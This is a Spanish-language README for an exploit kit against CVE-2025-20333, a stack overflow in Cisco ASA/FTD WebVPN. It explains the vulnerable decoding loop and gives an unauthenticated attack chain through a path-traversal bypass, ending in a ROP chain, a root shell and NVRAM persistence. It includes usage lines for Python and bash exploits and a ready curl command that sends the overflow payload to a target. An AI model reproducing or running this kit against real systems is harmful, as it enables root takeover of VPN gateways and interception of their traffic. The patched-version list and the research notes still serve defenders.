
Herramienta completa de investigación y explotación para CVE-2025-20333, un desbordamiento de búfer crítico en la pila en Cisco ASA/FTD WebVPN. Incluye análisis binario detallado, exploits PoC en Python y bash, y guía de explotación.
Este directorio contiene investigación exhaustiva, análisis y código de prueba de concepto para CVE-2025-20333, una vulnerabilidad crítica de desbordamiento de búfer en la pila en servidores WebVPN de Cisco ASA/FTD.
Estado: ⚠️ Explotada activamente en la naturaleza (campaña ArcaneDoor)
Puntuación CVSS: 9.8 Crítico
Autenticación: No (evadida mediante CVE-2025-20362)
Impacto: Ejecución remota de código como root
CVE-2025-20333-RESEARCH-NOTES.mdInvestigación completa de ingeniería inversa
Hallazgo Clave:
Búfer fijo de 16 bytes (local_58[16]) en body_lexer.re2c
El bucle de decodificación de URL NO TIENE COMPROBACIÓN DE LÍMITES
Escritura en local_58[iVar11] sin verificar que iVar11 < 16
Después de 8 pares hexadecimales: desbordamiento → corrupción de pila → RCE
EXPLOITATION-GUIDE.md (12 KB)Manual práctico de explotación
cve-2025-20333-poc.py (15 KB)Exploit de Python con todas las funciones
Características:
Uso:
# Mostrar detalles de la vulnerabilidad
python3 cve-2025-20333-poc.py --details
# Explotar objetivo
python3 cve-2025-20333-poc.py 192.168.1.100 443
# Configuración personalizada
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 KB)Exploit bash ligero
Características:
Uso:
# Mostrar detalles
./cve-2025-20333-poc.sh --details
# Explotar
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# Manual con curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| Propiedad | Valor |
|---|---|
| ID CVE | CVE-2025-20333 |
| Tipo | Desbordamiento de búfer en la pila (CWE-120) |
| Componente | body_lexer.re2c (FUN_0302e690) |
| Versiones Afectadas | ASA 9.16–9.23, FTD 7.0–7.7 |
| CVSS v3.1 | 9.8 (Crítico) |
| Autenticación | No requerida (mediante CVE-2025-20362) |
| Interacción del Usuario | Ninguna |
| Impacto | RCE como root, compromiso total del sistema |
| Estado | Explotada activamente (mayo de 2025+) |
| Divulgación Responsable | Cisco parcheó; aviso publicado |
// body_lexer.re2c - Bucle de decodificación de URL
byte local_58[16]; // ← Búfer fijo de 16 bytes
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← ¡SIN COMPROBACIÓN DE LÍMITES!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
Activación del Desbordamiento: 9+ secuencias consecutivas de %XX en el cuerpo POST
1. Atacante (SIN AUTENTICACIÓN requerida)
↓
2. HTTP POST a /+CSCOU+/../+CSCOE+/files/file_list.json
├─ CVE-2025-20362: Path traversal evita la comprobación de autenticación
└─ Alcanza el endpoint files_retr.lua (auth_flag = 0)
↓
3. Cuerpo POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ pares codificados en URL)
↓
4. body_lexer.re2c procesa el cuerpo POST
├─ Acumula pares hexadecimales en local_58[16]
└─ Después de 8 pares: ¡DESBORDAMIENTO!
↓
5. Corrupción de la pila
├─ Sobrescribe local_48, local_40
├─ Sobrescribe RBP guardado
└─ Sobrescribe RIP guardado (dirección de retorno)
↓
6. Secuestro del flujo de control
├─ RIP apunta a gadgets ROP
├─ La cadena ROP prepara execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. RCE como root (el proceso lina se ejecuta como root)
├─ Compromiso total del servidor VPN
├─ Acceso a todo el tráfico VPN
└─ Persistencia mediante modificación de NVRAM
lina en Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] sin comprobación de límitesVerificar Autorización
Ejecutar Exploit
# Verificación rápida: ¿Responde el objetivo al intento de exploit?
python3 cve-2025-20333-poc.py <target_ip>
# O versión bash:
./cve-2025-20333-poc.sh <target_ip>
Verificar la Explotación
Documentar Hallazgos
Leer Notas de Investigación
CVE-2025-20333-RESEARCH-NOTES.mdEstudiar PoCs
Adaptar y Extender
⚠️ AVISO LEGAL
Este kit se proporciona solo para pruebas de seguridad autorizadas.
✅ Uso Autorizado:
❌ Uso Prohibido:
cve-2025-20333/
├── README.md (este archivo)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 KB, investigación exhaustiva)
├── EXPLOITATION-GUIDE.md (12 KB, guía práctica)
├── cve-2025-20333-poc.py (15 KB, PoC en Python)
└── cve-2025-20333-poc.sh (8.5 KB, PoC en bash)
Documentación Total: ~65 KB
Profundidad de Investigación: Más de 50 funciones de Ghidra auditadas
Hallazgos Verificados: Desbordamiento de búfer en body_lexer.re2c confirmado
# Probar si el objetivo es vulnerable a explotación
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
--insecure \
-i
# Si el objetivo responde (200, 500, fallo), puede ser vulnerable
# Si el objetivo bloquea/redirige, puede estar parcheado
# Versiones vulnerables:
# - Cisco ASA 9.16 hasta 9.23
# - Cisco FTD 7.0 hasta 7.7
# Usar SSH/consola para verificar la versión de ASA:
show version
# Versiones parcheadas:
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (parcheadas)
Este kit se proporciona TAL CUAL solo con fines educativos y de pruebas autorizadas.
Este proyecto fue desarrollado con la asistencia de Claude Code, el asistente de codificación impulsado por IA de Anthropic.
Creado: 2026-08-23
Período de Investigación: 2026-08-22 a 2026-08-23
Estado: Completo y Documentado
Clasificación: Educativo / Solo Pruebas Autorizadas